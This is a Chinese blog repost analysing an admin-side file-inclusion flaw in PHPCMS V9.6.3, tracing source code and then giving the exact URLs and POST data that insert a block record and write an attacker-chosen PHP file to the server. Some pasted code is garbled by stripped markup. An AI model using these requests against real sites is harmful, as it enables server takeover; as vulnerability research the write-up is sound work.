博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
PHPCMS V9.6.3的后台漏洞分析
阅读量:5295 次
发布时间:2019-06-14

本文共 7807 字,大约阅读时间需要 26 分钟。

PHPCMS V9.6.3后台的漏洞分析

 

1、利用文件包含创建任意文件getshell

漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php

漏洞产生点位于265~272行:

  

1 if (@file_put_contents($filepath,$str)) {2                  ob_start();3                  include $filepath;4                  $html = ob_get_contents();5                  ob_clean();6                  @unlink($filepath);7             }

可以看到使用file_put_contents函数将 $str 写入 $filepath 中并且包含该文件,查看$filepath和$str变量是否可控。

1 public function public_view() { 2         $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) :  exit('0'); 3         if (!$data = $this->db->get_one(array('id'=>$id))) { 4             showmessage(L('nofound')); 5         } 6         if ($data['type'] == 1) { 7             exit(''); 8         } elseif ($data['type'] == 2) { 9             extract($data);10             unset($data);11             $title = isset($_POST['title']) ? $_POST['title'] : '';12             $url = isset($_POST['url']) ? $_POST['url'] : '';13             $thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';14             $desc = isset($_POST['desc']) ? $_POST['desc'] : '';15             $template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';16             $data = array();17             foreach ($title as $key=>$v) {18                 if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;19                 $data[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('
', ' '), $desc[$key]));20 }21 $tpl = pc_base::load_sys_class('template_cache');22 $str = $tpl->template_parse(new_stripslashes($template));23 $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';24 $dir = dirname($filepath);25 if(!is_dir($dir)) {26 @mkdir($dir, 0777, true);27 }

可以看到变量 $template 可控,跟进 new_stripslashes()函数:

/** * 返回经stripslashes处理过的字符串或数组 * @param $string 需要处理的字符串或数组 * @return mixed */function new_stripslashes($string) {    if(!is_array($string)) return stripslashes($string);    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);    return $string;}

 template_parse()函数:

/**     * 解析模板     *     * @param $str    模板内容     * @return ture     */    public function template_parse($str) {        $str = preg_replace ( "/\{template\s+(.+)\}/", "
", $str ); $str = preg_replace ( "/\{include\s+(.+)\}/", "
", $str ); $str = preg_replace ( "/\{php\s+(.+)\}/", "
", $str ); $str = preg_replace ( "/\{if\s+(.+?)\}/", "
", $str ); $str = preg_replace ( "/\{else\}/", "
", $str ); $str = preg_replace ( "/\{elseif\s+(.+?)\}/", "
", $str ); $str = preg_replace ( "/\{\/if\}/", "
", $str ); //for 循环 $str = preg_replace("/\{for\s+(.+?)\}/","
",$str); $str = preg_replace("/\{\/for\}/","
",$str); //++ -- $str = preg_replace("/\{\+\+(.+?)\}/","
",$str); $str = preg_replace("/\{\-\-(.+?)\}/","
",$str); $str = preg_replace("/\{(.+?)\+\+\}/","
",$str); $str = preg_replace("/\{(.+?)\-\-\}/","
",$str); $str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "
", $str ); $str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", "
\\3) { ?>", $str ); $str = preg_replace ( "/\{\/loop\}/", "
", $str ); $str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "
", $str ); $str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "
", $str ); $str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "
", $str ); $str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s", array($this, 'addquote'),$str); $str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "
", $str ); $str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str); $str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str); $str = "
" . $str; return $str; }

可以看到并无对 $template 的有效过滤,从而导致 $str 可控。再看漏洞产生点,是将 $str 写入文件中包含该文件,然后再将该文件删除。那么可以构造payload:

");

接下来寻找怎么利用该漏洞,在函数 public_view() 中,跟入get_one()函数:

/**     * 获取单条记录查询     * @param $data         需要查询的字段值[例`name`,`gender`,`birthday`]     * @param $table         数据表     * @param $where         查询条件     * @param $order         排序方式    [默认按数据库默认方式排序]     * @param $group         分组方式    [默认为空]     * @return array/null    数据查询结果集,如果不存在,则返回空     */    public function get_one($data, $table, $where = '', $order = '', $group = '') {        $where = $where == '' ? '' : ' WHERE '.$where;        $order = $order == '' ? '' : ' ORDER BY '.$order;        $group = $group == '' ? '' : ' GROUP BY '.$group;        $limit = ' LIMIT 1';        $field = explode( ',', $data);        array_walk($field, array($this, 'add_special_char'));        $data = implode(',', $field);        $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;        $this->execute($sql);        $res = $this->fetch_next();        $this->free_result();        return $res;    }

可以看到是查询一条数据,其 sql 语句为: select * from phpcmsv9.block where id=$id limit 1; 并且需要返回一个数组。否则报错 nofound。因此需要先使用 add() 函数插入一条

数据并且 type 字段为 2,跟进 add() 函数:

1 public function add() { 2         $pos = isset($_GET['pos']) && trim($_GET['pos']) ? trim($_GET['pos']) : showmessage(L('illegal_operation')); 3         if (isset($_POST['dosubmit'])) { 4             $name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('illegal_operation'), HTTP_REFERER); 5             $type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 1; 6             //判断名称是否已经存在 7             if ($this->db->get_one(array('name'=>$name))) { 8                 showmessage(L('name').L('exists'), HTTP_REFERER); 9             }10             if ($id = $this->db->insert(array('name'=>$name, 'pos'=>$pos, 'type'=>$type, 'siteid'=>$this->siteid), true)) {11                 //设置权限12                 $priv = isset($_POST['priv']) ? $_POST['priv'] : '';13                 if (!empty($priv)) {14                     if (is_array($priv)) foreach ($priv as $v) {15                         if (empty($v)) continue;16                         $this->priv_db->insert(array('roleid'=>$v, 'blockid'=>$id, 'siteid'=>$this->siteid));17                     }18                 }19                 showmessage(L('operation_success'), '?m=block&c=block_admin&a=block_update&id='.$id);20             } else {21                 showmessage(L('operation_failure'), HTTP_REFERER);22             }23         } else {24             $show_header = $show_validator = true;25             pc_base::load_sys_class('form');26             $administrator = getcache('role', 'commons');27             unset($administrator[1]);28             include $this->admin_tpl('block_add_edit');29         }30     }

可以看到第10行,会将 post 数据写入 v9_block 表中,如要将数据写入表中需要满足条件:

  1、$pos 不为空。

  2、$dosubmit 不为空。

  3、$name 不为空,并且 $type = 2。

  4、$name 不能与已有的数据重复。

于是构造 url : http://www.test.com/index.php?m=block&c=block_admin&pc_hash=123456&a=add&pos=1

  POST数据:dosubmit=1&name=test&type=2

这第一步访问上述地址将数据插入至v9_block表中。

  可以看到 id 为4即为刚才插入的数据。接下来将payload写入文件。

构造 URL:http://www.test.com/index.php?m=block&c=block_admin&a=public_view&id=4

POST数据:template=<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");

访问:

注:要想利用成功,在往v9_block表中插入数据时需要判断 $pc_hash 是否合法,所以想要利用该漏洞需先获取$pc_hash的值。而pc_hash的值登录后台即可在url中获取。

 

转载于:https://www.cnblogs.com/Spec/p/10522731.html

你可能感兴趣的文章
使用Chrome(PC)调试移动设备上的网页
查看>>
使用gitbash来链接mysql
查看>>
SecureCRT的使用方法和技巧(详细使用教程)
查看>>
右侧导航栏(动态添加数据到list)
查看>>
81、iOS本地推送与远程推送详解
查看>>
虚拟DOM
查看>>
uva 11468 Substring
查看>>
自建数据源(RSO2)、及数据源增强
查看>>
BootStrap2学习日记2--将固定布局换成响应式布局
查看>>
关于View控件中的Context选择
查看>>
2018icpc徐州OnlineA Hard to prepare
查看>>
Spark的启动进程详解
查看>>
使用命令创建数据库和表
查看>>
数据库的高级查询
查看>>
机器视觉:SSD Single Shot MultiBox Detector
查看>>
国内外免费电子书(数学、算法、图像、深度学习、机器学习)
查看>>
狄利克雷过程(Dirichlet Process)
查看>>
五子棋项目的实现(二)博弈树算法的描述
查看>>
字符串元转分
查看>>
201521123044 《Java程序设计》第1周学习总结
查看>>